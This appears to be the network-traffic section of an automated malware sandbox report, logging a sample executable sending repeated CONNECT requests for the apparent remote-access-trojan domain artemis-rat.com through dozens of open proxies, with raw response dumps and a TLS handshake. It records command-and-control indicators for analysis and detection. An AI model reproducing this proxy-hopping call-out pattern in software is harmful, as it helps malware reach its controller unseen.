Mar 11, 2024 03:30:38.470746040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.453131914 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:38 GMT Server: Apache/2.4.57 (Debian) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.57 (Debian) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.5	50520	104.18.136.28	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.471976995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.626490116 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.5	50431	13.37.59.99	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.471976995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.773873091 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.5	50471	5.161.103.113	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.472050905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.687274933 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.5	50526	104.19.79.238	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.472136974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.626506090 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.5	50401	8.219.97.248	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.472137928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.806983948 CET	733	IN	HTTP/1.1 504 Gateway Time-out Server: Tengine Date: Mon, 11 Mar 2024 02:30:48 GMT Content-Type: text/html Content-Length: 581 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 69 7a 74 34 6e 66 33 77 73 39 30 37 62 63 79 6e 6a 71 6e 77 77 38 7a 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 33 2f 31 31 20 31 30 3a 33 30 3a 34 38 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://artemis-rat.com</td></tr><tr><td>Server:</td><td>izt4nf3ws907bcynjqnww8z</td></tr><tr><td>Date:</td><td>2024/03/11 10:30:48</td></tr></table><hr/>Powered by Tengine<hr><center>tengine</center></body></html>
Mar 11, 2024 03:30:49.012470961 CET	733	IN	HTTP/1.1 504 Gateway Time-out Server: Tengine Date: Mon, 11 Mar 2024 02:30:48 GMT Content-Type: text/html Content-Length: 581 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 69 7a 74 34 6e 66 33 77 73 39 30 37 62 63 79 6e 6a 71 6e 77 77 38 7a 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 33 2f 31 31 20 31 30 3a 33 30 3a 34 38 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://artemis-rat.com</td></tr><tr><td>Server:</td><td>izt4nf3ws907bcynjqnww8z</td></tr><tr><td>Date:</td><td>2024/03/11 10:30:48</td></tr></table><hr/>Powered by Tengine<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.5	50531	203.28.9.107	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.472522974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.628479004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.5	50445	38.162.1.93	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.473129988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.894562006 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.5	50544	104.17.210.9	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.482876062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.637515068 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.5	50404	42.49.148.167	9001	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.483267069 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:38.826827049 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.5	50456	184.181.217.220	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.492065907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.5	50441	207.180.198.241	57327	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.495973110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.170489073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.5	50435	52.67.10.183	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.496236086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.822375059 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.5	50460	68.1.210.163	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.496788979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.5	50444	91.134.140.160	16487	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.497637987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.170476913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.5	50449	35.72.118.126	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.503235102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.772742987 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:38.773118973 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ee 6c cd a1 37 cc b5 59 6e ec 5f 1b c9 bf 7c 83 4b 1b 53 62 7f e8 3a 93 61 ad 4c f5 bc 0c 69 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lhel7Yn_\|KSb:aLi*,+0/$#('=<5/artemis-rat.com#o Glt0\7.&ZyfEW'6%]+]l1Ga
Mar 11, 2024 03:30:39.046020985 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 58 6a 6c f2 06 10 96 e9 b7 c3 b9 0f 97 ce 35 ed ad 34 aa 61 eb bd a9 1c 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9Xjl54aDOWNGRD0000H010Uartemis-rat.com0240311021335Z260311021335Z010Uartemis-rat.com0"0H0K
Mar 11, 2024 03:30:39.048696995 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 b5 1c 2f f4 10 12 74 29 e5 d3 92 44 02 52 30 8b 41 7b 6d 5b e4 06 eb 22 7b ad 42 d8 4e 64 69 04 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 04 9b 94 9b 34 2e eb b9 fe eb a7 fe f6 42 4e 93 96 d0 6b a1 2c Data Ascii: %! /t)DR0A{m["{BNdi(4.BNk,i
Mar 11, 2024 03:30:39.317107916 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 13 b1 9d 95 92 c8 6e dd 6a d9 a2 46 02 ca db 13 75 f4 6c 84 ea bb 33 93 21 44 64 fb 44 b6 f5 be af cb 15 51 1d d9 33 56 Data Ascii: (njFul3!DdDQ3V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.5	50575	172.67.181.136	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.517925024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.671966076 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
